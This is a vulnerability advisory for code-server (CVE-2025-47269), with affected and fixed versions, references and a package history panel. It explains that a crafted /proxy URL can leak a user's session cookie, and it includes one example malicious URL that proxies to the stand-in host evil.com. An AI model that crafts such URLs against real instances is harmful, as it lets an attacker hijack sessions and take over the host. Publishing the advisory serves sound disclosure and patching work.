code-server's session cookie can be extracted by having user visit specially crafted proxy URL
Summary
A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.
Details
Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.
Impact
Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.
Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.
With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.
Patches
Patched versions are from v4.99.4 onward.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | code-server | < 4.99.4 | 4.99.4 |
References
- https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj
- https://nvd.nist.gov/vuln/detail/CVE-2025-47269
- https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e
- https://github.com/coder/code-server
- https://github.com/coder/code-server/releases/tag/v4.99.4
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L- Weakness (CWE)
CWE-441- Platform
- npm
- Package
code-server- Disclosed
- 09.05.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-p483-wpfp-42cj - CC BY 4.0
Vulnerability history: code-server
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 09.2021 05.2025
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 2
- Medium 1
Disclosures per year
- 2021: 1
- 2022: 1
- 2023: 1
- 2024: 0
- 2025: 1
- 2026: 0
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code-server's session cookie can be extracted by having user visit specially crafted proxy URL this entry
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